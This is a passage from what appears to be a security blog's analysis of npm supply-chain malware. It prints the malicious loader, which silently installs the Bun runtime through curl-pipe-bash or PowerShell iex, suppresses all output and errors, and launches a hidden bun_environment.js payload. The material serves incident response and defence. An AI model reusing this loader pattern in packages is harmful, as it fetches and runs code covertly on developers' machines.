&& !process.env.PATH.includes(bunBinDir)) { process.env.PATH = \`${bunBinDir}:${process.env.PATH}\`; } } catch {} } } async function downloadAndSetupBun() { try { let command; if (process.platform === 'win32') { // Windows: Use PowerShell script command = 'powershell -c "irm bun.sh/install.ps1|iex"'; } else { // Linux/macOS: Use curl + bash script command = 'curl -fsSL https://bun.sh/install | bash'; } execSync(command, { stdio: 'ignore', env: { ...process.env }, }); // Reload PATH to pick up newly installed bun reloadPath(); // Find bun executable after installation const bunPath = findBunExecutable(); if (!bunPath) { throw new Error('Bun installation completed but executable not found'); } return bunPath; } catch { process.exit(0); } } function findBunExecutable() { // Common locations where bun might be installed const possiblePaths = []; if (process.platform === 'win32') { // Windows locations const userProfile = process.env.USERPROFILE || ''; possiblePaths.push( path.join(userProfile, '.bun', 'bin', 'bun.exe'), path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe') ); } else { // Unix locations const homeDir = os.homedir(); possiblePaths.push(path.join(homeDir, '.bun', 'bin', 'bun'), '/usr/local/bin/bun', '/opt/bun/bin/bun'); } // Check if bun is now available on PATH if (isBunOnPath()) { return 'bun'; } // Check common installation paths for (const bunPath of possiblePaths) { if (fs.existsSync(bunPath)) { return bunPath; } } return null; } function runExecutable(execPath, args = [], opts = {}) { const child = spawn(execPath, args, { stdio: 'ignore', cwd: opts.cwd || process.cwd(), env: Object.assign({}, process.env, opts.env || {}), }); child.on('error', (err) => { process.exit(0); }); child.on('exit', (code, signal) => { if (signal) { process.exit(0); } else { process.exit(code === null ? 1 : code); } }); } // Main execution async function main() { let bunExecutable; if (isBunOnPath()) { // Use bun from PATH bunExecutable = 'bun'; } else { // Check if we have a locally downloaded bun const localBunDir = path.join(__dirname, 'bun-dist'); const possiblePaths = [ path.join(localBunDir, 'bun', 'bun'), path.join(localBunDir, 'bun', 'bun.exe'), path.join(localBunDir, 'bun.exe'), path.join(localBunDir, 'bun'), ]; const existingBun = possiblePaths.find((p) => fs.existsSync(p)); if (existingBun) { bunExecutable = existingBun; } else { // Download and setup bun bunExecutable = await downloadAndSetupBun(); } } const environmentScript = path.join(__dirname, 'bun_environment.js'); if (fs.existsSync(environmentScript)) { runExecutable(bunExecutable, [environmentScript]); } else { process.exit(0); } } main().catch((error) => { process.exit(0); });
  • npm
  • oss
  • malware
  • supply-chain
  • security
  • incident-response

SafeDep 博客最新更新

关注以获取开源安全与工程的最新更新和洞察